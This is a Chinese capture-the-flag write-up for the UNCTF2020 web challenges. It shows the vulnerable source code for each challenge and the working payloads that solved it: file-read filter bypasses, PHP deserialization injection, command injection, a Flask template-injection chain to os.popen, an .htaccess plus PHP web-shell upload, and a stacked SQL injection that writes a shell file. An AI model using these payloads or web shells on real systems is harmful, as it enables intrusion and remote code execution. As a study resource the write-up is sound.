UNCTF2020 Web Writeup
队伍:打CTF不靠实力靠运气
作者:wjhwjhn
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
进去可以直接看到代码,可以观察到使用
preg_match('/unctf\.com/',$url)
preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)
来进行过滤URL,之后就可以直接执行代码了。
可以使用unctf.com;来绕过第一个限制,并且用phar://来绕过第二个限制。
Payload:
?url=unctf.com;phar://../../../../flag
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
反序列化漏洞,当数据被序列化后又替换,替换后比原有长度要长,所以可以伪造password
Payload:
?1=challengechallengechallengechallengechallengechallengechallengechallenge";s:8:"password";s:4:"easy";};;;
最后长度不足替换后的长度,用分号补全,最后成功得到flag。
<?php
// flag在flag.php
if(isset($_GET['a'])){
if(preg_match('/\(.*\)/', $_GET['a']))
die('hacker!!!');
ob_start(function($data){
if (strpos($data, 'flag') !== false)
return 'ByeBye hacker';
return false;
});
eval($_GET['a']);
} else {
highlight_file(__FILE__);
}
?>
需要绕过
preg_match('/\(.*\)/', $_GET['a'])//(匹配括号的限制)
if (strpos($data, 'flag') !== false)//(返回输出的限制)
对于1来说,我们可以用%0A来截断.*的匹配,达到绕过的目的。
对于2来说,我们可以用base64编码来编码返回后的结果,达到绕过的目的。
题目告诉我们flag就在flag.php中,所以我们直击目标。
Payload:
?a=echo base64_encode(%0Ashell_exec(%0A"cat flag.php"));
得到flag.php文件的base64
成功得到:
PD9waHAKICAgICRmbGFnPSdVTkNURns1NWVhZjU1MS0wNjk1LTRjYTAtODcyMS1hNWJmZTA5MWVhODB9JzsKICAgID8+CgoK
解密后得到:
<?php
$flag='UNCTF{55eaf551-0695-4ca0-8721-a5bfe091ea80}';
?>
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
刚开始以为又是一道序列化,直接安排,没想到提交上去显示错误,然后仔细一想,应该是flag.php中有玄机,正好结合前几天看到php弱类型比较,在本地伪造了两个true的变量序列化结果,绕过判断,因为true与任何字符串比较都是返回true。
Payload:
a:2:{s:8:"username";b:1;s:8:"password";b:1;}
/secret_route_you_do_not_know
测试了两天测试出guess参数可以用于与页面交互(这???参数拿来猜,这就是Web吗),
并且使用{{config}}发现guess参数可以利用模版注入,
百度学习了一下注入方法,发现以下payload可以成功getshell
Payload:
{{()\|attr(request.args.x1)\|attr(request.args.x2)\|attr(request.args.x3)()\|attr(request.args.x4)(117)\|attr(request.args.x5)\|attr(request.args.x6)\|attr(request.args.x4)(request.args.x7)\|attr(request.args.x4)(request.args.x8)(request.args.x9)}}&x1=__class__&x2=__base__&x3=__subclasses__&x4=__getitem__&x5=__init__&x6=__globals__&x7=__builtins__&x8=eval&x9=__import__("os").popen("cat%20flag.txt").read()
关于这道题还有一些想说的,
注册非admin账号之后发现页面下方有
这么一串提示,然后我以为要访问的目录就是Secret
Key,结果爆破出来之后发现并不对。注册成功以后看了代码才知道,这道题目admin本来是不能被注册的,但是不知道什么玄学原因,admin也可以被注册,这导致我的做题顺序出现错误,我先看到了
这个,第二才看到那个,所以联想到错误的东西,结果发现这道题由于玄学的问题,导致了admin可以被直接注册。
所以正解应该是
- 注册非admin账号
- 看到那串文字,然后滚去爆破Secret Key
- 使用Secret Key伪造admin账号并且登录
- 看到/secret_route_you_do_not_know
- 进入页面后看到“guess”,想到用guess作为参数来进行模版注入。*我觉得这一步最难
- GetShell
附源码:
from flask import *
import random as rd
import os
app = Flask(__name__)
def ranstr(num):
H = 'abcdefghijklmnopqrstuvwxyz0123456789'
salt = ''
for i in range(num):
salt += rd.choice(H)
return salt
SECRET = ranstr(4)
Flask.secret_key = SECRET
BLACKLIST = ['%', '_', 'eval', 'open', 'flag',
'in', '-', 'class', 'mro', '[', ']', '\"', '\'']
user_dicts = dict()
def init():
user_dicts["admin"] = User('admin', ranstr(32))
class User:
def __init__(self, username, password):
self.username = username
self.password = password
def black_list(string):
for i in string:
if i in BLACKLIST:
return True
return False
@app.route('/', methods=['GET'])
def index():
if 'username' in session:
if session['username'] == 'admin':
return render_template_string(
"admin login success and check the secret route /secret_route_you_do_not_know")
else:
return render_template('hello.html', name=session['username'])
else:
return render_template_string("a easy flask problem,first login as the admin")
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username'] if 'username' in request.form else ""
password = request.form['password'] if 'password' in request.form else ""
if username == "" or password == "":
return render_template_string("pass the username or password use get method")
if username in user_dicts and user_dicts[username].password == password:
session['username'] = username
if username == 'admin':
return render_template_string("admin login success!")
else:
return render_template_string("login success!!")
else:
return render_template_string("login fail! check /register")
else:
return render_template('login.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username'] if 'username' in request.form else ""
password = request.form['password'] if 'password' in request.form else ""
if username == "" or password == "":
return render_template_string("pass the username or password use get method")
if username not in user_dicts:
user_dicts[username] = User(username, password)
return render_template_string("register success")
else:
return render_template_string("the user already exists")
else:
return render_template('register.html')
@app.route('/secret_route_you_do_not_know', methods=['GET'])
def secret():
guess = request.args['guess'] if 'guess' in request.args else ''
secret_num = rd.randint(0, 100000)
if guess == '':
return render_template_string("you should 'guess' the secret number")
try:
guess_num = int(guess)
if guess_num == secret_num:
return render_template_string('final step, check the source code')
else:
return render_template_string('you are wrong')
except Exception:
if not black_list(guess):
return render_template_string(guess + ' error!!')
else:
return render_template_string('black list filter')
if __name__ == '__main__':
init()
app.run(host='0.0.0.0', port=80)
.htaccess中可以用反斜杠加换行来把关键字隔开从而绕过。
php中可以用<?=来代替<?php,来绕过ph关键字检测,前者这种写法在php5.4以上的版本一定开启而且无法被关闭。
.htaccess上传前把扩展名修改为.htaccess.jpg,然后用BurpSuite把.jpg去掉,这样的目的是在提交的时候多一个类型提交,绕过服务器类型检测。
Shell文件直接用.jpg的格式上传即可。
这样做的原因是并没有屏蔽<关键字,所以当下次屏蔽<关键字的时候我们还可以尝试用UTF-7编码文件来绕过检测。
.htaccess文件
AddType Application/x-httpd-p\
hp .jpg
shell.jpg文件
<?=@eval($_GET['a']);
Payload:
?a=echo shell_exec("cat ../../../../../flag");
最后成功getshell

这道题主要就是利用命令执行去ping我们给出的地址,然后返回信息。
我们要做的应该是在这基础上,运行我们的代码
首先要找到一个可以用于执行第二行代码的分隔符号,发现常见的;被屏蔽了,我们用|来替换,还我发现空格也被屏蔽了,那么我们用%09来替换空格,然后我又发现cat和flag也被屏蔽了,那么我们用base64编码来绕过关键字,最后得到
Payload:
?url=127.0.0.1|echo%09Y2F0IC4uLy4uLy4uLy4uLy4uL2ZsYWc=|base64%09-d|sh
Payload:
1';PREPARE wjh from concat(char(115,101,108,101,99,116,32),"'"
,char(60),char(63),char(112),char(104),char(112),char(32),char(112),char(104),char(112),char(105),char(110),char(102),char(111),char(40),char(41),char(59),char(63),char(62),
"' into outfile '/var/www/html/shell", char(46) ,"php'");EXECUTE wjh;\#
这个是写入了